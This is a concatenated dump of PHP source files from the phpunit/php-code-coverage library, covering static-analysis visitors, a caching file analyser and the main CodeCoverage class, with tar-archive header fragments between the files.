=== '// @codeCoverageIgnoreStart' || $comment === '//@codeCoverageIgnoreStart') { $ignore = true; } elseif ($comment === '// @codeCoverageIgnoreEnd' || $comment === '//@codeCoverageIgnoreEnd') { $stop = true; } break; } if ($ignore) { $this->ignoredLines[$filename][] = $token[2]; if ($stop) { $ignore = false; $stop = false; } } } } } res/readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php000064400000024202147577714370026754 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function implode; use function rtrim; use function trim; use PhpParser\Node; use PhpParser\Node\ComplexType; use PhpParser\Node\Identifier; use PhpParser\Node\IntersectionType; use PhpParser\Node\Name; use PhpParser\Node\NullableType; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Enum_; use PhpParser\Node\Stmt\Function_; use PhpParser\Node\Stmt\Interface_; use PhpParser\Node\Stmt\Trait_; use PhpParser\Node\UnionType; use PhpParser\NodeTraverser; use PhpParser\NodeVisitorAbstract; use SebastianBergmann\Complexity\CyclomaticComplexityCalculatingVisitor; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class CodeUnitFindingVisitor extends NodeVisitorAbstract { /** * @psalm-var array}> */ private $classes = []; /** * @psalm-var array}> */ private $traits = []; /** * @psalm-var array */ private $functions = []; public function enterNode(Node $node): void { if ($node instanceof Class_) { if ($node->isAnonymous()) { return; } $this->processClass($node); } if ($node instanceof Trait_) { $this->processTrait($node); } if (!$node instanceof ClassMethod && !$node instanceof Function_) { return; } if ($node instanceof ClassMethod) { $parentNode = $node->getAttribute('parent'); if ($parentNode instanceof Class_ && $parentNode->isAnonymous()) { return; } $this->processMethod($node); return; } $this->processFunction($node); } /** * @psalm-return array}> */ public function classes(): array { return $this->classes; } /** * @psalm-return array}> */ public function traits(): array { return $this->traits; } /** * @psalm-return array */ public function functions(): array { return $this->functions; } /** * @psalm-param ClassMethod|Function_ $node */ private function cyclomaticComplexity(Node $node): int { assert($node instanceof ClassMethod || $node instanceof Function_); $nodes = $node->getStmts(); if ($nodes === null) { return 0; } $traverser = new NodeTraverser; $cyclomaticComplexityCalculatingVisitor = new CyclomaticComplexityCalculatingVisitor; $traverser->addVisitor($cyclomaticComplexityCalculatingVisitor); /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); return $cyclomaticComplexityCalculatingVisitor->cyclomaticComplexity(); } /** * @psalm-param ClassMethod|Function_ $node */ private function signature(Node $node): string { assert($node instanceof ClassMethod || $node instanceof Function_); $signature = ($node->returnsByRef() ? '&' : '') . $node->name->toString() . '('; $parameters = []; foreach ($node->getParams() as $parameter) { assert(isset($parameter->var->name)); $parameterAsString = ''; if ($parameter->type !== null) { $parameterAsString = $this->type($parameter->type) . ' '; } $parameterAsString .= '$' . $parameter->var->name; /* @todo Handle default values */ $parameters[] = $parameterAsString; } $signature .= implode(', ', $parameters) . ')'; $returnType = $node->getReturnType(); if ($returnType !== null) { $signature .= ': ' . $this->type($returnType); } return $signature; } /** * @psalm-param Identifier|Name|ComplexType $type */ private function type(Node $type): string { assert($type instanceof Identifier || $type instanceof Name || $type instanceof ComplexType); if ($type instanceof NullableType) { return '?' . $type->type; } if ($type instanceof UnionType || $type instanceof IntersectionType) { return $this->unionOrIntersectionAsString($type); } return $type->toString(); } private function visibility(ClassMethod $node): string { if ($node->isPrivate()) { return 'private'; } if ($node->isProtected()) { return 'protected'; } return 'public'; } private function processClass(Class_ $node): void { $name = $node->name->toString(); $namespacedName = $node->namespacedName->toString(); $this->classes[$namespacedName] = [ 'name' => $name, 'namespacedName' => $namespacedName, 'namespace' => $this->namespace($namespacedName, $name), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'methods' => [], ]; } private function processTrait(Trait_ $node): void { $name = $node->name->toString(); $namespacedName = $node->namespacedName->toString(); $this->traits[$namespacedName] = [ 'name' => $name, 'namespacedName' => $namespacedName, 'namespace' => $this->namespace($namespacedName, $name), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'methods' => [], ]; } private function processMethod(ClassMethod $node): void { $parentNode = $node->getAttribute('parent'); if ($parentNode instanceof Interface_) { return; } assert($parentNode instanceof Class_ || $parentNode instanceof Trait_ || $parentNode instanceof Enum_); assert(isset($parentNode->name)); assert(isset($parentNode->namespacedName)); assert($parentNode->namespacedName instanceof Name); $parentName = $parentNode->name->toString(); $parentNamespacedName = $parentNode->namespacedName->toString(); if ($parentNode instanceof Class_) { $storage = &$this->classes; } else { $storage = &$this->traits; } if (!isset($storage[$parentNamespacedName])) { $storage[$parentNamespacedName] = [ 'name' => $parentName, 'namespacedName' => $parentNamespacedName, 'namespace' => $this->namespace($parentNamespacedName, $parentName), 'startLine' => $parentNode->getStartLine(), 'endLine' => $parentNode->getEndLine(), 'methods' => [], ]; } $storage[$parentNamespacedName]['methods'][$node->name->toString()] = [ 'methodName' => $node->name->toString(), 'signature' => $this->signature($node), 'visibility' => $this->visibility($node), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'ccn' => $this->cyclomaticComplexity($node), ]; } private function processFunction(Function_ $node): void { assert(isset($node->name)); assert(isset($node->namespacedName)); assert($node->namespacedName instanceof Name); $name = $node->name->toString(); $namespacedName = $node->namespacedName->toString(); $this->functions[$namespacedName] = [ 'name' => $name, 'namespacedName' => $namespacedName, 'namespace' => $this->namespace($namespacedName, $name), 'signature' => $this->signature($node), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'ccn' => $this->cyclomaticComplexity($node), ]; } private function namespace(string $namespacedName, string $name): string { return trim(rtrim($namespacedName, $name), '\\'); } /** * @psalm-param UnionType|IntersectionType $type */ private function unionOrIntersectionAsString(ComplexType $type): string { if ($type instanceof UnionType) { $separator = '|'; } else { $separator = '&'; } $types = []; foreach ($type->types as $_type) { if ($_type instanceof Name) { $types[] = $_type->toCodeString(); } else { $types[] = $_type->toString(); } } return implode($separator, $types); } } res/readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php000064400000011076147577714370026223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function assert; use function crc32; use function file_get_contents; use function file_put_contents; use function is_file; use function serialize; use GlobIterator; use SebastianBergmann\CodeCoverage\Util\Filesystem; use SplFileInfo; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class CachingFileAnalyser implements FileAnalyser { /** * @var ?string */ private static $cacheVersion; /** * @var FileAnalyser */ private $analyser; /** * @var array */ private $cache = []; /** * @var string */ private $directory; public function __construct(string $directory, FileAnalyser $analyser) { Filesystem::createDirectory($directory); $this->analyser = $analyser; $this->directory = $directory; if (self::$cacheVersion === null) { $this->calculateCacheVersion(); } } public function classesIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['classesIn']; } public function traitsIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['traitsIn']; } public function functionsIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['functionsIn']; } /** * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ public function linesOfCodeFor(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['linesOfCodeFor']; } public function executableLinesIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['executableLinesIn']; } public function ignoredLinesFor(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['ignoredLinesFor']; } public function process(string $filename): void { $cache = $this->read($filename); if ($cache !== false) { $this->cache[$filename] = $cache; return; } $this->cache[$filename] = [ 'classesIn' => $this->analyser->classesIn($filename), 'traitsIn' => $this->analyser->traitsIn($filename), 'functionsIn' => $this->analyser->functionsIn($filename), 'linesOfCodeFor' => $this->analyser->linesOfCodeFor($filename), 'ignoredLinesFor' => $this->analyser->ignoredLinesFor($filename), 'executableLinesIn' => $this->analyser->executableLinesIn($filename), ]; $this->write($filename, $this->cache[$filename]); } /** * @return mixed */ private function read(string $filename) { $cacheFile = $this->cacheFile($filename); if (!is_file($cacheFile)) { return false; } return unserialize( file_get_contents($cacheFile), ['allowed_classes' => false] ); } /** * @param mixed $data */ private function write(string $filename, $data): void { file_put_contents( $this->cacheFile($filename), serialize($data) ); } private function cacheFile(string $filename): string { return $this->directory . DIRECTORY_SEPARATOR . hash('sha256', $filename . crc32(file_get_contents($filename)) . self::$cacheVersion); } private function calculateCacheVersion(): void { $buffer = ''; foreach (new GlobIterator(__DIR__ . '/*.php') as $file) { assert($file instanceof SplFileInfo); $buffer .= file_get_contents($file->getPathname()); } self::$cacheVersion = (string) crc32($buffer); } } res/readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php000064400000001662147577714370024746 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ interface FileAnalyser { public function classesIn(string $filename): array; public function traitsIn(string $filename): array; public function functionsIn(string $filename): array; /** * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ public function linesOfCodeFor(string $filename): array; public function executableLinesIn(string $filename): array; public function ignoredLinesFor(string $filename): array; } res/readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php000064400000001550147577714370024545 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use SebastianBergmann\CodeCoverage\Filter; final class CacheWarmer { public function warmCache(string $cacheDirectory, bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode, Filter $filter): void { $analyser = new CachingFileAnalyser( $cacheDirectory, new ParsingFileAnalyser( $useAnnotationsForIgnoringCode, $ignoreDeprecatedCode ) ); foreach ($filter->files() as $file) { $analyser->process($file); } } } readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php000064400000017377147577714370030256 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use PhpParser\Node; use PhpParser\Node\Expr\Array_; use PhpParser\Node\Expr\ArrayDimFetch; use PhpParser\Node\Expr\ArrayItem; use PhpParser\Node\Expr\Assign; use PhpParser\Node\Expr\BinaryOp; use PhpParser\Node\Expr\CallLike; use PhpParser\Node\Expr\Cast; use PhpParser\Node\Expr\Closure; use PhpParser\Node\Expr\Match_; use PhpParser\Node\Expr\MethodCall; use PhpParser\Node\Expr\NullsafePropertyFetch; use PhpParser\Node\Expr\PropertyFetch; use PhpParser\Node\Expr\StaticPropertyFetch; use PhpParser\Node\Expr\Ternary; use PhpParser\Node\MatchArm; use PhpParser\Node\Scalar\Encapsed; use PhpParser\Node\Stmt\Break_; use PhpParser\Node\Stmt\Case_; use PhpParser\Node\Stmt\Catch_; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Continue_; use PhpParser\Node\Stmt\Do_; use PhpParser\Node\Stmt\Echo_; use PhpParser\Node\Stmt\Else_; use PhpParser\Node\Stmt\ElseIf_; use PhpParser\Node\Stmt\Expression; use PhpParser\Node\Stmt\Finally_; use PhpParser\Node\Stmt\For_; use PhpParser\Node\Stmt\Foreach_; use PhpParser\Node\Stmt\Goto_; use PhpParser\Node\Stmt\If_; use PhpParser\Node\Stmt\Property; use PhpParser\Node\Stmt\Return_; use PhpParser\Node\Stmt\Switch_; use PhpParser\Node\Stmt\Throw_; use PhpParser\Node\Stmt\TryCatch; use PhpParser\Node\Stmt\Unset_; use PhpParser\Node\Stmt\While_; use PhpParser\NodeVisitorAbstract; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class ExecutableLinesFindingVisitor extends NodeVisitorAbstract { /** * @psalm-var array */ private $executableLines = []; /** * @psalm-var array */ private $propertyLines = []; /** * @psalm-var array */ private $returns = []; public function enterNode(Node $node): void { $this->savePropertyLines($node); if (!$this->isExecutable($node)) { return; } foreach ($this->getLines($node) as $line) { if (isset($this->propertyLines[$line])) { return; } $this->executableLines[$line] = $line; } } /** * @psalm-return array */ public function executableLines(): array { $this->computeReturns(); sort($this->executableLines); return $this->executableLines; } private function savePropertyLines(Node $node): void { if (!$node instanceof Property && !$node instanceof Node\Stmt\ClassConst) { return; } foreach (range($node->getStartLine(), $node->getEndLine()) as $index) { $this->propertyLines[$index] = $index; } } private function computeReturns(): void { foreach ($this->returns as $return) { foreach (range($return->getStartLine(), $return->getEndLine()) as $loc) { if (isset($this->executableLines[$loc])) { continue 2; } } $line = $return->getEndLine(); if ($return->expr !== null) { $line = $return->expr->getStartLine(); } $this->executableLines[$line] = $line; } } /** * @return int[] */ private function getLines(Node $node): array { if ($node instanceof Cast || $node instanceof PropertyFetch || $node instanceof NullsafePropertyFetch || $node instanceof StaticPropertyFetch) { return [$node->getEndLine()]; } if ($node instanceof ArrayDimFetch) { if (null === $node->dim) { return []; } return [$node->dim->getStartLine()]; } if ($node instanceof Array_) { $startLine = $node->getStartLine(); if (isset($this->executableLines[$startLine])) { return []; } if ([] === $node->items) { return [$node->getEndLine()]; } if ($node->items[0] instanceof ArrayItem) { return [$node->items[0]->getStartLine()]; } } if ($node instanceof ClassMethod) { if ($node->name->name !== '__construct') { return []; } $existsAPromotedProperty = false; foreach ($node->getParams() as $param) { if (0 !== ($param->flags & Class_::VISIBILITY_MODIFIER_MASK)) { $existsAPromotedProperty = true; break; } } if ($existsAPromotedProperty) { // Only the line with `function` keyword should be listed here // but `nikic/php-parser` doesn't provide a way to fetch it return range($node->getStartLine(), $node->name->getEndLine()); } return []; } if ($node instanceof MethodCall) { return [$node->name->getStartLine()]; } if ($node instanceof Ternary) { $lines = [$node->cond->getStartLine()]; if (null !== $node->if) { $lines[] = $node->if->getStartLine(); } $lines[] = $node->else->getStartLine(); return $lines; } if ($node instanceof Match_) { return [$node->cond->getStartLine()]; } if ($node instanceof MatchArm) { return [$node->body->getStartLine()]; } if ($node instanceof Expression && ( $node->expr instanceof Cast || $node->expr instanceof Match_ || $node->expr instanceof MethodCall )) { return []; } if ($node instanceof Return_) { $this->returns[] = $node; return []; } return [$node->getStartLine()]; } private function isExecutable(Node $node): bool { return $node instanceof Assign || $node instanceof ArrayDimFetch || $node instanceof Array_ || $node instanceof BinaryOp || $node instanceof Break_ || $node instanceof CallLike || $node instanceof Case_ || $node instanceof Cast || $node instanceof Catch_ || $node instanceof ClassMethod || $node instanceof Closure || $node instanceof Continue_ || $node instanceof Do_ || $node instanceof Echo_ || $node instanceof ElseIf_ || $node instanceof Else_ || $node instanceof Encapsed || $node instanceof Expression || $node instanceof Finally_ || $node instanceof For_ || $node instanceof Foreach_ || $node instanceof Goto_ || $node instanceof If_ || $node instanceof Match_ || $node instanceof MatchArm || $node instanceof MethodCall || $node instanceof NullsafePropertyFetch || $node instanceof PropertyFetch || $node instanceof Return_ || $node instanceof StaticPropertyFetch || $node instanceof Switch_ || $node instanceof Ternary || $node instanceof Throw_ || $node instanceof TryCatch || $node instanceof Unset_ || $node instanceof While_; } } res/readability/vendor/phpunit/php-code-coverage/src/Util/Filesystem.php000064400000001770147577714370022476 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Util; use function is_dir; use function mkdir; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Filesystem { /** * @throws DirectoryCouldNotBeCreatedException */ public static function createDirectory(string $directory): void { $success = !(!is_dir($directory) && !@mkdir($directory, 0777, true) && !is_dir($directory)); if (!$success) { throw new DirectoryCouldNotBeCreatedException( sprintf( 'Directory "%s" could not be created', $directory ) ); } } } res/readability/vendor/phpunit/php-code-coverage/src/Util/Percentage.php000064400000002605147577714370022425 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Util; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Percentage { /** * @var float */ private $fraction; /** * @var float */ private $total; public static function fromFractionAndTotal(float $fraction, float $total): self { return new self($fraction, $total); } private function __construct(float $fraction, float $total) { $this->fraction = $fraction; $this->total = $total; } public function asFloat(): float { if ($this->total > 0) { return ($this->fraction / $this->total) * 100; } return 100.0; } public function asString(): string { if ($this->total > 0) { return sprintf('%01.2F%%', $this->asFloat()); } return ''; } public function asFixedWidthString(): string { if ($this->total > 0) { return sprintf('%6.2F%%', $this->asFloat()); } return ''; } } res/readability/vendor/phpunit/php-code-coverage/src/CodeCoverage.php000064400000042743147577714370021770 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use function array_diff; use function array_diff_key; use function array_flip; use function array_keys; use function array_merge; use function array_unique; use function array_values; use function count; use function explode; use function get_class; use function is_array; use function is_file; use function sort; use PHPUnit\Framework\TestCase; use PHPUnit\Runner\PhptTestCase; use PHPUnit\Util\Test; use ReflectionClass; use SebastianBergmann\CodeCoverage\Driver\Driver; use SebastianBergmann\CodeCoverage\Node\Builder; use SebastianBergmann\CodeCoverage\Node\Directory; use SebastianBergmann\CodeCoverage\StaticAnalysis\CachingFileAnalyser; use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser; use SebastianBergmann\CodeCoverage\StaticAnalysis\ParsingFileAnalyser; use SebastianBergmann\CodeUnitReverseLookup\Wizard; /** * Provides collection functionality for PHP code coverage information. */ final class CodeCoverage { private const UNCOVERED_FILES = 'UNCOVERED_FILES'; /** * @var Driver */ private $driver; /** * @var Filter */ private $filter; /** * @var Wizard */ private $wizard; /** * @var bool */ private $checkForUnintentionallyCoveredCode = false; /** * @var bool */ private $includeUncoveredFiles = true; /** * @var bool */ private $processUncoveredFiles = false; /** * @var bool */ private $ignoreDeprecatedCode = false; /** * @var PhptTestCase|string|TestCase */ private $currentId; /** * Code coverage data. * * @var ProcessedCodeCoverageData */ private $data; /** * @var bool */ private $useAnnotationsForIgnoringCode = true; /** * Test data. * * @var array */ private $tests = []; /** * @psalm-var list */ private $parentClassesExcludedFromUnintentionallyCoveredCodeCheck = []; /** * @var ?FileAnalyser */ private $analyser; /** * @var ?string */ private $cacheDirectory; public function __construct(Driver $driver, Filter $filter) { $this->driver = $driver; $this->filter = $filter; $this->data = new ProcessedCodeCoverageData; $this->wizard = new Wizard; } /** * Returns the code coverage information as a graph of node objects. */ public function getReport(): Directory { return (new Builder($this->analyser()))->build($this); } /** * Clears collected code coverage data. */ public function clear(): void { $this->currentId = null; $this->data = new ProcessedCodeCoverageData; $this->tests = []; } /** * Returns the filter object used. */ public function filter(): Filter { return $this->filter; } /** * Returns the collected code coverage data. */ public function getData(bool $raw = false): ProcessedCodeCoverageData { if (!$raw) { if ($this->processUncoveredFiles) { $this->processUncoveredFilesFromFilter(); } elseif ($this->includeUncoveredFiles) { $this->addUncoveredFilesFromFilter(); } } return $this->data; } /** * Sets the coverage data. */ public function setData(ProcessedCodeCoverageData $data): void { $this->data = $data; } /** * Returns the test data. */ public function getTests(): array { return $this->tests; } /** * Sets the test data. */ public function setTests(array $tests): void { $this->tests = $tests; } /** * Start collection of code coverage information. * * @param PhptTestCase|string|TestCase $id */ public function start($id, bool $clear = false): void { if ($clear) { $this->clear(); } $this->currentId = $id; $this->driver->start(); } /** * Stop collection of code coverage information. * * @param array|false $linesToBeCovered */ public function stop(bool $append = true, $linesToBeCovered = [], array $linesToBeUsed = []): RawCodeCoverageData { if (!is_array($linesToBeCovered) && $linesToBeCovered !== false) { throw new InvalidArgumentException( '$linesToBeCovered must be an array or false' ); } $data = $this->driver->stop(); $this->append($data, null, $append, $linesToBeCovered, $linesToBeUsed); $this->currentId = null; return $data; } /** * Appends code coverage data. * * @param PhptTestCase|string|TestCase $id * @param array|false $linesToBeCovered * * @throws ReflectionException * @throws TestIdMissingException * @throws UnintentionallyCoveredCodeException */ public function append(RawCodeCoverageData $rawData, $id = null, bool $append = true, $linesToBeCovered = [], array $linesToBeUsed = []): void { if ($id === null) { $id = $this->currentId; } if ($id === null) { throw new TestIdMissingException; } $this->applyFilter($rawData); $this->applyExecutableLinesFilter($rawData); if ($this->useAnnotationsForIgnoringCode) { $this->applyIgnoredLinesFilter($rawData); } $this->data->initializeUnseenData($rawData); if (!$append) { return; } if ($id !== self::UNCOVERED_FILES) { $this->applyCoversAnnotationFilter( $rawData, $linesToBeCovered, $linesToBeUsed ); if (empty($rawData->lineCoverage())) { return; } $size = 'unknown'; $status = -1; $fromTestcase = false; if ($id instanceof TestCase) { $fromTestcase = true; $_size = $id->getSize(); if ($_size === Test::SMALL) { $size = 'small'; } elseif ($_size === Test::MEDIUM) { $size = 'medium'; } elseif ($_size === Test::LARGE) { $size = 'large'; } $status = $id->getStatus(); $id = get_class($id) . '::' . $id->getName(); } elseif ($id instanceof PhptTestCase) { $fromTestcase = true; $size = 'large'; $id = $id->getName(); } $this->tests[$id] = ['size' => $size, 'status' => $status, 'fromTestcase' => $fromTestcase]; $this->data->markCodeAsExecutedByTestCase($id, $rawData); } } /** * Merges the data from another instance. */ public function merge(self $that): void { $this->filter->includeFiles( $that->filter()->files() ); $this->data->merge($that->data); $this->tests = array_merge($this->tests, $that->getTests()); } public function enableCheckForUnintentionallyCoveredCode(): void { $this->checkForUnintentionallyCoveredCode = true; } public function disableCheckForUnintentionallyCoveredCode(): void { $this->checkForUnintentionallyCoveredCode = false; } public function includeUncoveredFiles(): void { $this->includeUncoveredFiles = true; } public function excludeUncoveredFiles(): void { $this->includeUncoveredFiles = false; } public function processUncoveredFiles(): void { $this->processUncoveredFiles = true; } public function doNotProcessUncoveredFiles(): void { $this->processUncoveredFiles = false; } public function enableAnnotationsForIgnoringCode(): void { $this->useAnnotationsForIgnoringCode = true; } public function disableAnnotationsForIgnoringCode(): void { $this->useAnnotationsForIgnoringCode = false; } public function ignoreDeprecatedCode(): void { $this->ignoreDeprecatedCode = true; } public function doNotIgnoreDeprecatedCode(): void { $this->ignoreDeprecatedCode = false; } /** * @psalm-assert-if-true !null $this->cacheDirectory */ public function cachesStaticAnalysis(): bool { return $this->cacheDirectory !== null; } public function cacheStaticAnalysis(string $directory): void { $this->cacheDirectory = $directory; } public function doNotCacheStaticAnalysis(): void { $this->cacheDirectory = null; } /** * @throws StaticAnalysisCacheNotConfiguredException */ public function cacheDirectory(): string { if (!$this->cachesStaticAnalysis()) { throw new StaticAnalysisCacheNotConfiguredException( 'The static analysis cache is not configured' ); } return $this->cacheDirectory; } /** * @psalm-param class-string $className */ public function excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck(string $className): void { $this->parentClassesExcludedFromUnintentionallyCoveredCodeCheck[] = $className; } public function enableBranchAndPathCoverage(): void { $this->driver->enableBranchAndPathCoverage(); } public function disableBranchAndPathCoverage(): void { $this->driver->disableBranchAndPathCoverage(); } public function collectsBranchAndPathCoverage(): bool { return $this->driver->collectsBranchAndPathCoverage(); } public function detectsDeadCode(): bool { return $this->driver->detectsDeadCode(); } /** * Applies the @covers annotation filtering. * * @param array|false $linesToBeCovered * * @throws ReflectionException * @throws UnintentionallyCoveredCodeException */ private function applyCoversAnnotationFilter(RawCodeCoverageData $rawData, $linesToBeCovered, array $linesToBeUsed): void { if ($linesToBeCovered === false) { $rawData->clear(); return; } if (empty($linesToBeCovered)) { return; } if ($this->checkForUnintentionallyCoveredCode && (!$this->currentId instanceof TestCase || (!$this->currentId->isMedium() && !$this->currentId->isLarge()))) { $this->performUnintentionallyCoveredCodeCheck($rawData, $linesToBeCovered, $linesToBeUsed); } $rawLineData = $rawData->lineCoverage(); $filesWithNoCoverage = array_diff_key($rawLineData, $linesToBeCovered); foreach (array_keys($filesWithNoCoverage) as $fileWithNoCoverage) { $rawData->removeCoverageDataForFile($fileWithNoCoverage); } if (is_array($linesToBeCovered)) { foreach ($linesToBeCovered as $fileToBeCovered => $includedLines) { $rawData->keepLineCoverageDataOnlyForLines($fileToBeCovered, $includedLines); $rawData->keepFunctionCoverageDataOnlyForLines($fileToBeCovered, $includedLines); } } } private function applyFilter(RawCodeCoverageData $data): void { if ($this->filter->isEmpty()) { return; } foreach (array_keys($data->lineCoverage()) as $filename) { if ($this->filter->isExcluded($filename)) { $data->removeCoverageDataForFile($filename); } } } private function applyExecutableLinesFilter(RawCodeCoverageData $data): void { foreach (array_keys($data->lineCoverage()) as $filename) { if (!$this->filter->isFile($filename)) { continue; } $data->keepLineCoverageDataOnlyForLines( $filename, $this->analyser()->executableLinesIn($filename) ); } } private function applyIgnoredLinesFilter(RawCodeCoverageData $data): void { foreach (array_keys($data->lineCoverage()) as $filename) { if (!$this->filter->isFile($filename)) { continue; } $data->removeCoverageDataForLines( $filename, $this->analyser()->ignoredLinesFor($filename) ); } } /** * @throws UnintentionallyCoveredCodeException */ private function addUncoveredFilesFromFilter(): void { $uncoveredFiles = array_diff( $this->filter->files(), $this->data->coveredFiles() ); foreach ($uncoveredFiles as $uncoveredFile) { if (is_file($uncoveredFile)) { $this->append( RawCodeCoverageData::fromUncoveredFile( $uncoveredFile, $this->analyser() ), self::UNCOVERED_FILES ); } } } /** * @throws UnintentionallyCoveredCodeException */ private function processUncoveredFilesFromFilter(): void { $uncoveredFiles = array_diff( $this->filter->files(), $this->data->coveredFiles() ); $this->driver->start(); foreach ($uncoveredFiles as $uncoveredFile) { if (is_file($uncoveredFile)) { include_once $uncoveredFile; } } $this->append($this->driver->stop(), self::UNCOVERED_FILES); } /** * @throws ReflectionException * @throws UnintentionallyCoveredCodeException */ private function performUnintentionallyCoveredCodeCheck(RawCodeCoverageData $data, array $linesToBeCovered, array $linesToBeUsed): void { $allowedLines = $this->getAllowedLines( $linesToBeCovered, $linesToBeUsed ); $unintentionallyCoveredUnits = []; foreach ($data->lineCoverage() as $file => $_data) { foreach ($_data as $line => $flag) { if ($flag === 1 && !isset($allowedLines[$file][$line])) { $unintentionallyCoveredUnits[] = $this->wizard->lookup($file, $line); } } } $unintentionallyCoveredUnits = $this->processUnintentionallyCoveredUnits($unintentionallyCoveredUnits); if (!empty($unintentionallyCoveredUnits)) { throw new UnintentionallyCoveredCodeException( $unintentionallyCoveredUnits ); } } private function getAllowedLines(array $linesToBeCovered, array $linesToBeUsed): array { $allowedLines = []; foreach (array_keys($linesToBeCovered) as $file) { if (!isset($allowedLines[$file])) { $allowedLines[$file] = []; } $allowedLines[$file] = array_merge( $allowedLines[$file], $linesToBeCovered[$file] ); } foreach (array_keys($linesToBeUsed) as $file) { if (!isset($allowedLines[$file])) { $allowedLines[$file] = []; } $allowedLines[$file] = array_merge( $allowedLines[$file], $linesToBeUsed[$file] ); } foreach (array_keys($allowedLines) as $file) { $allowedLines[$file] = array_flip( array_unique($allowedLines[$file]) ); } return $allowedLines; } /** * @throws ReflectionException */ private function processUnintentionallyCoveredUnits(array $unintentionallyCoveredUnits): array { $unintentionallyCoveredUnits = array_unique($unintentionallyCoveredUnits); sort($unintentionallyCoveredUnits); foreach (array_keys($unintentionallyCoveredUnits) as $k => $v) { $unit = explode('::', $unintentionallyCoveredUnits[$k]); if (count($unit) !== 2) { continue; } try { $class = new ReflectionClass($unit[0]); foreach ($this->parentClassesExcludedFromUnintentionallyCoveredCodeCheck as $parentClass) { if ($class->isSubclassOf($parentClass)) { unset($unintentionallyCoveredUnits[$k]); break; } } } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } } return array_values($unintentionallyCoveredUnits); } private function analyser(): FileAnalyser { if ($this->analyser !== null) { return $this->analyser; } $this->analyser = new ParsingFileAnalyser( $this->useAnnotationsForIgnoringCode, $this->ignoreDeprecatedCode ); if ($this->cachesStaticAnalysis()) { $this->analyser = new CachingFileAnalyser( $this->cacheDirectory, $this->analyser ); } return $this->analyser; } } res/readability/vendor/phpunit/php-code-coverage/src/Version.php000064400000001263147577714370021057 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use function dirname; use SebastianBergmann\Version as VersionId; final class Version { /** * @var string */ private static $version; public static function id(): string { if (self::$version === null) { self::$version = (new VersionId('9.2.15', dirname(__DIR__)))->getVersion(); } return self::$version; } } res/readability/vendor/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php000064400000022253147577714370024424 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use function array_key_exists; use function array_keys; use function array_merge; use function array_unique; use function count; use function is_array; use function ksort; use SebastianBergmann\CodeCoverage\Driver\Driver; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class ProcessedCodeCoverageData { /** * Line coverage data. * An array of filenames, each having an array of linenumbers, each executable line having an array of testcase ids. * * @var array */ private $lineCoverage = []; /** * Function coverage data. * Maintains base format of raw data (@see https://xdebug.org/docs/code_coverage), but each 'hit' entry is an array * of testcase ids. * * @var array */ private $functionCoverage = []; public function initializeUnseenData(RawCodeCoverageData $rawData): void { foreach ($rawData->lineCoverage() as $file => $lines) { if (!isset($this->lineCoverage[$file])) { $this->lineCoverage[$file] = []; foreach ($lines as $k => $v) { $this->lineCoverage[$file][$k] = $v === Driver::LINE_NOT_EXECUTABLE ? null : []; } 